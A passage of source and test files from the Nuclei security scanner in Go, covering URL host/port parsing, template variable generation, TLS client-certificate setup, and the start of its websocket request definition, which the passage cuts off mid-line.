    "content": "package utils\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestGetJsonFieldsFromURL_HostPortExtraction(t *testing.T) {\n\tt.Parallel()\n\n\ttests := []struct {\n\t\tname         string\n\t\tinput        string\n\t\texpectedHost string\n\t\texpectedPort string\n\t}{\n\t\t{\n\t\t\tname:         \"URL with scheme and port\",\n\t\t\tinput:        \"http://example.com:8080/path\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"URL with scheme no port\",\n\t\t\tinput:        \"https://example.com/path\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"443\",\n\t\t},\n\t\t{\n\t\t\tname:         \"host:port without scheme\",\n\t\t\tinput:        \"example.com:8080\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"host:port with standard HTTPS port\",\n\t\t\tinput:        \"example.com:443\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"443\",\n\t\t},\n\t\t{\n\t\t\tname:         \"IPv4 with port\",\n\t\t\tinput:        \"192.168.1.1:8080\",\n\t\t\texpectedHost: \"192.168.1.1\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"IPv6 with port\",\n\t\t\tinput:        \"[2001:db8::1]:8080\",\n\t\t\texpectedHost: \"2001:db8::1\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"localhost with port\",\n\t\t\tinput:        \"localhost:3000\",\n\t\t\texpectedHost: \"localhost\",\n\t\t\texpectedPort: \"3000\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\n\t\t\tfields := GetJsonFieldsFromURL(tt.input)\n\n\t\t\tassert.Equal(t, tt.expectedHost, fields.Host)\n\t\t\tassert.Equal(t, tt.expectedPort, fields.Port)\n\t\t})\n\t}\n}\n\nfunc TestExtractHostPort(t *testing.T) {\n\tt.Parallel()\n\n\ttests := []struct {\n\t\tname         string\n\t\thost         string\n\t\tport         string\n\t\texpectedHost string\n\t\texpectedPort string\n\t}{\n\t\t{\n\t\t\tname:         \"host without port\",\n\t\t\thost:         \"example.com\",\n\t\t\tport:         \"\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"\",\n\t\t},\n\t\t{\n\t\t\tname:         \"host with port\",\n\t\t\thost:         \"example.com:8080\",\n\t\t\tport:         \"\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"port already set\",\n\t\t\thost:         \"example.com:8080\",\n\t\t\tport:         \"443\",\n\t\t\texpectedHost: \"example.com\",\n\t\t\texpectedPort: \"443\",\n\t\t},\n\t\t{\n\t\t\tname:         \"IPv6 with port\",\n\t\t\thost:         \"[::1]:8080\",\n\t\t\tport:         \"\",\n\t\t\texpectedHost: \"::1\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t\t{\n\t\t\tname:         \"IPv6 without port\",\n\t\t\thost:         \"[::1]\",\n\t\t\tport:         \"\",\n\t\t\texpectedHost: \"::1\",\n\t\t\texpectedPort: \"\",\n\t\t},\n\t\t{\n\t\t\tname:         \"IPv4 with port\",\n\t\t\thost:         \"192.168.1.1:8080\",\n\t\t\tport:         \"\",\n\t\t\texpectedHost: \"192.168.1.1\",\n\t\t\texpectedPort: \"8080\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\n\t\t\thost, port := extractHostPort(tt.host, tt.port)\n\n\t\t\tassert.Equal(t, tt.expectedHost, host)\n\t\t\tassert.Equal(t, tt.expectedPort, port)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/utils/http/requtils.go",
    "content": "package httputil\n\nimport (\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\t// TODO: adapt regex for cases where port is updated\n\turlWithPortRegex = regexp.MustCompile(`^{{(BaseURL|RootURL)}}:(\\d+)`)\n\t// regex to detect trailing slash in path (not applicable to raw requests)\n\ttrailingSlashregex = regexp.MustCompile(`^\\Q{{\\E[a-zA-Z]+\\Q}}/\\E`)\n\t// ErrNoMoreRequests is internal error to\n)\n\n// HasTrailingSlash returns true if path(that has default variables) has trailing slash\nfunc HasTrailingSlash(data string) bool {\n\treturn trailingSlashregex.MatchString(data)\n}\n\n// UpdateURLPortFromPayload overrides input port if specified in payload(ex: {{BaseURL}}:8080)\nfunc UpdateURLPortFromPayload(parsed *urlutil.URL, data string) (*urlutil.URL, string) {\n\tmatches := urlWithPortRegex.FindAllStringSubmatch(data, -1)\n\tif len(matches) > 0 {\n\t\tport := matches[0][2]\n\t\tparsed.UpdatePort(port)\n\t\t// remove it from dsl\n\t\tdata = strings.Replace(data, \":\"+port, \"\", 1)\n\t}\n\treturn parsed, data\n}\n\n// SetHeader sets some headers only if the header wasn't supplied by the user\nfunc SetHeader(req *retryablehttp.Request, name, value string) {\n\tif _, ok := req.Header[name]; !ok {\n\t\treq.Header.Set(name, value)\n\t}\n\tif name == \"Host\" {\n\t\treq.Host = value\n\t}\n}\n\n// ShouldDisableKeepAlive depending on scan strategy\nfunc ShouldDisableKeepAlive(options *types.Options) bool {\n\t// with host-spray strategy keep-alive must be enabled\n\treturn options.ScanStrategy != scanstrategy.HostSpray.String()\n}\n"
  },
  {
    "path": "pkg/protocols/utils/http/requtils_test.go",
    "content": "package httputil\n\nimport (\n\t\"testing\"\n\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTrailingSlash(t *testing.T) {\n\ttestcases := []struct {\n\t\tpayload  string\n\t\thasSlash bool\n\t}{\n\t\t{\"{{BaseURL}}\", false},\n\t\t{\"{{BaseURL}}/\", true},\n\t\t{\"{{RootURL}}\", false},\n\t\t{\"{{RootURL}}/\", true},\n\t\t{\"{{randomvar}}\", false},\n\t\t{\"{{randomvar}}/\", true},\n\t\t{\"later/{{randomvar}}/\", false},\n\t}\n\n\tfor _, v := range testcases {\n\t\tif v.hasSlash != HasTrailingSlash(v.payload) {\n\t\t\tt.Errorf(\"expected %v but got %v for %v\", v.hasSlash, HasTrailingSlash(v.payload), v.payload)\n\t\t}\n\t}\n}\n\nfunc TestPortUpdate(t *testing.T) {\n\ttestcases := []struct {\n\t\tinputURL        string // input url\n\t\tCleanedInputURL string\n\t\tRequestPath     string // path which contains port\n\t\tCleanedPath     string // path after processing\n\t}{\n\t\t{\"http://localhost:53/test\", \"http://localhost:8000/test\", \"{{BaseURL}}:8000/newpath\", \"{{BaseURL}}/newpath\"},\n\t\t{\"http://localhost:53/test\", \"http://localhost:8000/test\", \"{{RootURL}}:8000/newpath\", \"{{RootURL}}/newpath\"},\n\t\t{\"http://localhost:53/test\", \"http://localhost:53/test\", \"{{RootURL}}/newpath\", \"{{RootURL}}/newpath\"},\n\t\t{\"http://localhost/test\", \"http://localhost:8000/test\", \"{{RootURL}}:8000/newpath\", \"{{RootURL}}/newpath\"},\n\t\t{\"http://localhost/test\", \"http://localhost/test\", \"{{RootURL}}/newpath\", \"{{RootURL}}/newpath\"},\n\t}\n\tfor _, v := range testcases {\n\t\tparsed, _ := urlutil.Parse(v.inputURL)\n\t\tparsed, v.RequestPath = UpdateURLPortFromPayload(parsed, v.RequestPath)\n\t\trequire.Equal(t, v.CleanedInputURL, parsed.String(), \"could not get correct value\")\n\t\trequire.Equal(t, v.CleanedPath, v.RequestPath, \"could not get correct data\")\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/utils/utils.go",
    "content": "package utils\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// CleanStructFieldJSONTag cleans struct json tag field\nfunc CleanStructFieldJSONTag(tag string) string {\n\treturn strings.TrimSuffix(strings.TrimSuffix(tag, \",omitempty\"), \",inline\")\n}\n\n// AddConfiguredClientCertToRequest adds the client certificate authentication to the tls.Config object and returns it\nfunc AddConfiguredClientCertToRequest(tlsConfig *tls.Config, options *types.Options) (*tls.Config, error) {\n\t// Build the TLS config with the client certificate if it has been configured with the appropriate options.\n\t// Only one of the options needs to be checked since the validation checks in main.go ensure that all three\n\t// files are set if any of the client certification configuration options are.\n\tif len(options.ClientCertFile) > 0 {\n\t\t// Load the client certificate using the PEM encoded client certificate and the private key file\n\t\tcert, err := tls.LoadX509KeyPair(options.ClientCertFile, options.ClientKeyFile)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttlsConfig.Certificates = []tls.Certificate{cert}\n\n\t\t// Load the certificate authority PEM certificate into the TLS configuration\n\t\tcaCert, err := os.ReadFile(options.ClientCAFile)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcaCertPool := x509.NewCertPool()\n\t\tcaCertPool.AppendCertsFromPEM(caCert)\n\t\ttlsConfig.RootCAs = caCertPool\n\t}\n\treturn tlsConfig, nil\n}\n\n// CalculateContentLength calculates content-length of the http response\nfunc CalculateContentLength(contentLength, bodyLength int64) int64 {\n\tif contentLength > -1 {\n\t\treturn contentLength\n\t}\n\treturn bodyLength\n}\n\n// HeadersToString converts http headers to string\nfunc HeadersToString(headers http.Header) string {\n\tbuilder := &strings.Builder{}\n\n\tfor header, values := range headers {\n\t\tbuilder.WriteString(header)\n\t\tbuilder.WriteString(\": \")\n\n\t\tfor i, value := range values {\n\t\t\tbuilder.WriteString(value)\n\n\t\t\tif i != len(values)-1 {\n\t\t\t\tbuilder.WriteRune('\\n')\n\t\t\t\tbuilder.WriteString(header)\n\t\t\t\tbuilder.WriteString(\": \")\n\t\t\t}\n\t\t}\n\t\tbuilder.WriteRune('\\n')\n\t}\n\treturn builder.String()\n}\n"
  },
  {
    "path": "pkg/protocols/utils/utils_test.go",
    "content": "package utils\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCalculateContentLength(t *testing.T) {\n\ttests := []struct {\n\t\tname                string\n\t\texpected            int64\n\t\tcontentLengthHeader int64\n\t\tbodyLength          int64\n\t}{\n\t\t{\"content-length-header\", 10, 10, 10},\n\t\t{\"content-length-header-with-body-length\", 10, 10, 1000},\n\t\t{\"no-content-length-header-with-body-length\", 1000, -1, 1000},\n\t\t{\"content-length-header-without-body-length\", 10, 10, -1},\n\t}\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tgot := CalculateContentLength(test.contentLengthHeader, test.bodyLength)\n\t\t\trequire.Equal(t, test.expected, got)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/utils/variables.go",
    "content": "package utils\n\nimport (\n\t\"fmt\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\tmaputil \"github.com/projectdiscovery/utils/maps\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/weppos/publicsuffix-go/publicsuffix\"\n)\n\n// KnownVariables are the variables that are known to input requests\nvar KnownVariables maputil.Map[KnownVariable, string]\n\nfunc init() {\n\tKnownVariables = maputil.Map[KnownVariable, string]{\n\t\tBaseURL:  \"BaseURL\",\n\t\tRootURL:  \"RootURL\",\n\t\tHostname: \"Hostname\",\n\t\tHost:     \"Host\",\n\t\tPort:     \"Port\",\n\t\tPath:     \"Path\",\n\t\tQuery:    \"Query\",\n\t\tFile:     \"File\",\n\t\tScheme:   \"Scheme\",\n\t\tInput:    \"Input\",\n\t\tFqdn:     \"FQDN\",\n\t\tRdn:      \"RDN\",\n\t\tDn:       \"DN\",\n\t\tTld:      \"TLD\",\n\t\tSd:       \"SD\",\n\t}\n}\n\ntype KnownVariable uint16\n\nconst (\n\tBaseURL KnownVariable = iota\n\tRootURL\n\tHostname\n\tHost\n\tPort\n\tPath\n\tQuery\n\tFile\n\tScheme\n\tInput\n\tFqdn\n\tRdn\n\tDn\n\tTld\n\tSd\n)\n\n// GenerateVariablesWithContextArgs will create default variables with context args\nfunc GenerateVariablesWithContextArgs(input *contextargs.Context, trailingSlash bool) map[string]interface{} {\n\tparsed, err := urlutil.Parse(input.MetaInput.Input)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn GenerateVariables(parsed, trailingSlash, contextargs.GenerateVariables(input))\n}\n\n// GenerateDNSVariables from a dns name\n// This function is used by dns and ssl protocol to generate variables\nfunc GenerateDNSVariables(domain string) map[string]interface{} {\n\tparsed, err := publicsuffix.Parse(strings.TrimSuffix(domain, \".\"))\n\tif err != nil {\n\t\treturn map[string]interface{}{\"FQDN\": domain}\n\t}\n\n\tdomainName := strings.Join([]string{parsed.SLD, parsed.TLD}, \".\")\n\tdnsVariables := make(map[string]interface{})\n\tfor k, v := range KnownVariables {\n\t\tswitch k {\n\t\tcase Fqdn:\n\t\t\tdnsVariables[v] = domain\n\t\tcase Rdn:\n\t\t\tdnsVariables[v] = domainName\n\t\tcase Dn:\n\t\t\tdnsVariables[v] = parsed.SLD\n\t\tcase Tld:\n\t\t\tdnsVariables[v] = parsed.TLD\n\t\tcase Sd:\n\t\t\tdnsVariables[v] = parsed.TRD\n\t\t}\n\t}\n\treturn dnsVariables\n}\n\n// GenerateVariables accepts string or *urlutil.URL object as input\n// Returns the map of KnownVariables keys\n// This function is used by http, headless, websocket, network and whois protocols to generate protocol variables\nfunc GenerateVariables(input interface{}, removeTrailingSlash bool, additionalVars map[string]interface{}) map[string]interface{} {\n\tvar vars = make(map[string]interface{})\n\tswitch input := input.(type) {\n\tcase string:\n\t\tparsed, err := urlutil.Parse(input)\n\t\tif err != nil {\n\t\t\treturn map[string]interface{}{KnownVariables[Input]: input, KnownVariables[Hostname]: input}\n\t\t}\n\t\tvars = generateVariables(parsed, removeTrailingSlash)\n\tcase *urlutil.URL:\n\t\tvars = generateVariables(input, removeTrailingSlash)\n\tcase urlutil.URL:\n\t\tvars = generateVariables(&input, removeTrailingSlash)\n\tdefault:\n\t\t// return a non-fatal error\n\t\tgologger.Error().Msgf(\"unknown type %T for input %v\", input, input)\n\t}\n\treturn generators.MergeMaps(vars, additionalVars)\n}\n\nfunc generateVariables(inputURL *urlutil.URL, removeTrailingSlash bool) map[string]interface{} {\n\tparsed := inputURL.Clone()\n\tparsed.Params = urlutil.NewOrderedParams()\n\tport := parsed.Port()\n\tif port == \"\" {\n\t\tswitch parsed.Scheme {\n\t\tcase \"https\":\n\t\t\tport = \"443\"\n\t\tcase \"http\":\n\t\t\tport = \"80\"\n\t\t}\n\t}\n\tif removeTrailingSlash {\n\t\tparsed.Path = strings.TrimSuffix(parsed.Path, \"/\")\n\t}\n\tescapedPath := parsed.EscapedPath()\n\trequestPath := path.Dir(escapedPath)\n\tif requestPath == \".\" {\n\t\trequestPath = \"\"\n\t}\n\n\tbase := path.Base(escapedPath)\n\tif base == \".\" {\n\t\tbase = \"\"\n\t}\n\n\tif parsed.Scheme == \"ws\" {\n\t\tif values := urlutil.GetParams(parsed.URL.Query()); len(values) > 0 {\n\t\t\trequestPath = escapedPath + \"?\" + values.Encode()\n\t\t}\n\t}\n\tknownVariables := make(map[string]interface{})\n\tfor k, v := range KnownVariables {\n\t\tswitch k {\n\t\tcase BaseURL:\n\t\t\tknownVariables[v] = parsed.String()\n\t\tcase RootURL:\n\t\t\tif parsed.Scheme != \"\" {\n\t\t\t\tknownVariables[v] = fmt.Sprintf(\"%s://%s\", parsed.Scheme, parsed.Host)\n\t\t\t} else {\n\t\t\t\tknownVariables[v] = parsed.Host\n\t\t\t}\n\t\tcase Hostname:\n\t\t\tknownVariables[v] = parsed.Host\n\t\tcase Host:\n\t\t\tknownVariables[v] = parsed.Hostname()\n\t\tcase Port:\n\t\t\tknownVariables[v] = port\n\t\tcase Path:\n\t\t\tknownVariables[v] = requestPath\n\t\tcase Query:\n\t\t\tif queryParams := urlutil.GetParams(parsed.URL.Query()); len(queryParams) > 0 {\n\t\t\t\tknownVariables[v] = \"?\" + queryParams.Encode()\n\t\t\t} else {\n\t\t\t\tknownVariables[v] = \"\"\n\t\t\t}\n\t\tcase File:\n\t\t\tknownVariables[v] = base\n\t\tcase Scheme:\n\t\t\tknownVariables[v] = parsed.Scheme\n\t\tcase Input:\n\t\t\tknownVariables[v] = parsed.String()\n\t\t}\n\t}\n\treturn generators.MergeMaps(knownVariables, GenerateDNSVariables(parsed.Hostname()))\n}\n"
  },
  {
    "path": "pkg/protocols/utils/variables_test.go",
    "content": "package utils\n\nimport (\n\t\"context\"\n\t\"reflect\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHTTPVariables(t *testing.T) {\n\tbaseURL := \"http://localhost:9001/test/123\"\n\tparsed, _ := urlutil.Parse(baseURL)\n\t// trailing slash is only true when both target/inputURL and payload {{BaseURL}}/xyz both have slash\n\tvalues := GenerateVariables(parsed, false, nil)\n\n\trequire.Equal(t, values[\"BaseURL\"], parsed.String(), \"incorrect baseurl\")\n\trequire.Equal(t, values[\"RootURL\"], \"http://localhost:9001\", \"incorrect rootURL\")\n\trequire.Equal(t, values[\"Host\"], \"localhost\", \"incorrect domain name\")\n\trequire.Equal(t, values[\"Path\"], \"/test\", \"incorrect path\")\n\trequire.Equal(t, values[\"File\"], \"123\", \"incorrect file\")\n\trequire.Equal(t, values[\"Port\"], \"9001\", \"incorrect port number\")\n\trequire.Equal(t, values[\"Scheme\"], \"http\", \"incorrect scheme\")\n\trequire.Equal(t, values[\"Hostname\"], \"localhost:9001\", \"incorrect hostname\")\n\n\tbaseURL = \"https://example.com\"\n\tparsed, _ = urlutil.Parse(baseURL)\n\tvalues = GenerateVariables(parsed, false, nil)\n\n\trequire.Equal(t, values[\"BaseURL\"], parsed.String(), \"incorrect baseurl\")\n\trequire.Equal(t, values[\"Host\"], \"example.com\", \"incorrect domain name\")\n\trequire.Equal(t, values[\"RootURL\"], \"https://example.com\", \"incorrect rootURL\")\n\trequire.Equal(t, values[\"Path\"], \"\", \"incorrect path\")\n\trequire.Equal(t, values[\"Port\"], \"443\", \"incorrect port number\")\n\trequire.Equal(t, values[\"Scheme\"], \"https\", \"incorrect scheme\")\n\trequire.Equal(t, values[\"Hostname\"], \"example.com\", \"incorrect hostname\")\n\n\tbaseURL = \"ftp://foobar.com/\"\n\tparsed, _ = urlutil.Parse(baseURL)\n\tvalues = GenerateVariables(parsed, false, nil)\n\n\trequire.Equal(t, values[\"BaseURL\"], parsed.String(), \"incorrect baseurl\")\n\trequire.Equal(t, values[\"Host\"], \"foobar.com\", \"incorrect domain name\")\n\trequire.Equal(t, values[\"RootURL\"], \"ftp://foobar.com\", \"incorrect rootURL\")\n\trequire.Equal(t, values[\"Path\"], \"/\", \"incorrect path\")\n\trequire.Equal(t, values[\"Port\"], \"\", \"incorrect port number\") // Unsupported protocol results in a blank port\n\trequire.Equal(t, values[\"Scheme\"], \"ftp\", \"incorrect scheme\")\n\trequire.Equal(t, values[\"Hostname\"], \"foobar.com\", \"incorrect hostname\")\n\n\tbaseURL = \"http://scanme.sh\"\n\tctxArgs := contextargs.NewWithInput(context.Background(), baseURL)\n\tctxArgs.MetaInput.CustomIP = \"1.2.3.4\"\n\tvalues = GenerateVariablesWithContextArgs(ctxArgs, true)\n\n\trequire.Equal(t, values[\"BaseURL\"], baseURL, \"incorrect baseurl\")\n\trequire.Equal(t, values[\"Host\"], \"scanme.sh\", \"incorrect domain name\")\n\trequire.Equal(t, values[\"RootURL\"], \"http://scanme.sh\", \"incorrect rootURL\")\n\trequire.Equal(t, values[\"Path\"], \"\", \"incorrect path\")\n\trequire.Equal(t, values[\"Port\"], \"80\", \"incorrect port number\")\n\trequire.Equal(t, values[\"Scheme\"], \"http\", \"incorrect scheme\")\n\trequire.Equal(t, values[\"Hostname\"], \"scanme.sh\", \"incorrect hostname\")\n\trequire.Equal(t, values[\"ip\"], \"1.2.3.4\", \"incorrect ip\")\n}\n\nfunc TestGenerateDNSVariables(t *testing.T) {\n\tvars := GenerateDNSVariables(\"www.projectdiscovery.io\")\n\trequire.Equal(t, map[string]interface{}{\n\t\t\"FQDN\": \"www.projectdiscovery.io\",\n\t\t\"RDN\":  \"projectdiscovery.io\",\n\t\t\"DN\":   \"projectdiscovery\",\n\t\t\"TLD\":  \"io\",\n\t\t\"SD\":   \"www\",\n\t}, vars, \"could not get dns variables\")\n}\n\nfunc TestGenerateVariablesForDNS(t *testing.T) {\n\tvars := GenerateVariables(\"www.projectdiscovery.io\", false, nil)\n\texpected := map[string]interface{}{\n\t\t\"FQDN\": \"www.projectdiscovery.io\",\n\t\t\"RDN\":  \"projectdiscovery.io\",\n\t\t\"DN\":   \"projectdiscovery\",\n\t\t\"TLD\":  \"io\",\n\t\t\"SD\":   \"www\",\n\t}\n\tcheckResults(t, vars, expected)\n}\n\nfunc TestGenerateVariablesForTCP(t *testing.T) {\n\tvars := GenerateVariables(\"127.0.0.1:5431\", false, nil)\n\texpected := map[string]interface{}{\n\t\t\"Host\":     \"127.0.0.1\",\n\t\t\"Port\":     \"5431\",\n\t\t\"Hostname\": \"127.0.0.1:5431\",\n\t}\n\tcheckResults(t, vars, expected)\n\n\tvars = GenerateVariables(\"127.0.0.1\", false, nil)\n\texpected = map[string]interface{}{\n\t\t\"Host\":     \"127.0.0.1\",\n\t\t\"Hostname\": \"127.0.0.1\",\n\t}\n\tcheckResults(t, vars, expected)\n}\n\nfunc TestGenerateWhoISVariables(t *testing.T) {\n\tvars := GenerateVariables(\"https://example.com\", false, nil)\n\texpected := map[string]interface{}{\n\t\t\"Host\": \"example.com\", \"Hostname\": \"example.com\", \"Input\": \"https://example.com\",\n\t}\n\tcheckResults(t, vars, expected)\n\n\tvars = GenerateVariables(\"https://example.com:8080\", false, nil)\n\texpected = map[string]interface{}{\n\t\t\"Host\": \"example.com\", \"Hostname\": \"example.com:8080\", \"Input\": \"https://example.com:8080\",\n\t}\n\tcheckResults(t, vars, expected)\n}\n\nfunc TestGetWebsocketVariables(t *testing.T) {\n\tbaseURL := \"ws://127.0.0.1:40221\"\n\tparsed, _ := urlutil.Parse(baseURL)\n\tvars := GenerateVariables(parsed, false, nil)\n\texpected := map[string]interface{}{\n\t\t\"Host\":     \"127.0.0.1\",\n\t\t\"Hostname\": \"127.0.0.1:40221\",\n\t\t\"Scheme\":   \"ws\",\n\t\t\"Path\":     \"\",\n\t}\n\tcheckResults(t, vars, expected)\n\n\tbaseURL = \"ws://127.0.0.1:40221/test?var=test\"\n\tparsed, _ = urlutil.Parse(baseURL)\n\tvars = GenerateVariables(parsed, false, nil)\n\texpected = map[string]interface{}{\n\t\t\"Host\":     \"127.0.0.1\",\n\t\t\"Hostname\": \"127.0.0.1:40221\",\n\t\t\"Scheme\":   \"ws\",\n\t\t\"Path\":     \"/test?var=test\",\n\t}\n\tcheckResults(t, vars, expected)\n}\n\n// checkResults returns true if mapSubset is a subset of mapSet otherwise false\nfunc checkResults(t *testing.T, mapSet interface{}, mapSubset interface{}) {\n\n\tgot := reflect.ValueOf(mapSet)\n\texpected := reflect.ValueOf(mapSubset)\n\n\trequire.Greater(t, len(expected.MapKeys()), 0, \"failed expected value is empty\")\n\trequire.Greater(t, len(got.MapKeys()), 0, \"failed expected value is empty\")\n\n\trequire.LessOrEqual(t, len(expected.MapKeys()), len(got.MapKeys()), \"failed return value more than expected\")\n\n\titerMapSubset := expected.MapRange()\n\n\tfor iterMapSubset.Next() {\n\t\tk := iterMapSubset.Key()\n\t\tv := iterMapSubset.Value()\n\n\t\tvalue := got.MapIndex(k)\n\n\t\tif !value.IsValid() || v.Interface() != value.Interface() {\n\t\t\trequire.Equal(t, value, v, \"failed return value is not equal to expected\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/websocket/websocket.go",
    "content": "package websocket\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io\"\n\t\"maps\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gobwas/ws\"\n\t\"github.com/gobwas/ws/wsutil\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Request is a request for the Websocket protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\" json:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID of the network request\"`\n\t// description: |\n\t//   Address contains address for the request\n\tAddress string `yaml:\"address,omitempty\" json:\"address,omitempty\" jsonschema:\"title=address for the websocket request,description=Address contains address for the request\"`\n\t// description: |\n\t//   Inputs contains inputs for the websocket protocol\n\tInputs []*Input `yaml:\"inputs,omitempty\" json:\"inputs,omitempty\" jsonschema:\"title=inputs for the websocket request,description=Inputs contains any input/output for the current request\"`\n\t// description: |\n\t//   Headers contains headers for the request.\n\tHeaders map[string]string `yaml:\"headers,omitempty\" json:\"headers,omitempty\" jsonschema:\"title=headers contains the request headers,description=Headers contains headers for the request\"`\n\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   Sniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=sniper,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the websocket request,description=Payloads contains any payloads for the current request\"`\n\n\tgenerator *generators.PayloadGenerator\n\n\t// cache any variables that may be needed for operation.\n\tdialer  *fastdialer.Dialer\n\toptions *protocols.ExecutorOptions\n}\n\n// Input is an input for the websocket protocol\ntype Input struct {\n\t// description: |\n\t//   Data is the data to send as the input.\n\t//\n\t//   It supports DSL Helper Functions as well as normal expressions.\n\t// examples:\n\t//   - value: \"\\\"TEST\\\"\"\n\t//   - value: \"\\\"hex_decode('50494e47')\\\"\"\n\tData string `yaml:\"data,omitempty\" json:\"data,omitempty\" jsonschema:\"title=data to send as input,description=Data is the data to send as the input\"`\n\t// description: |\n\t//   Name is the optional name of the data read to provide matching on.\n\t// examples:\n\t//   - value: \"\\\"prefix\\\"\"\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=optional name for data read,description=Optional name of the data read to provide matching on\"`\n}\n\nconst (\n\tparseUrlErrorMessage                   = \"could not parse input url\"\n\tevaluateTemplateExpressionErrorMessage = \"could not evaluate template expressions\"\n)\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\trequest.options = options\n\n\tclient, err := networkclientpool.Get(options.Options, &networkclientpool.Configuration{\n\t\tCustomDialer: options.CustomFastdialer,\n\t})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get network client\")\n\t}\n\trequest.dialer = client\n\n\tif len(request.Payloads) > 0 {\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, options.Catalog, options.Options.AttackType, 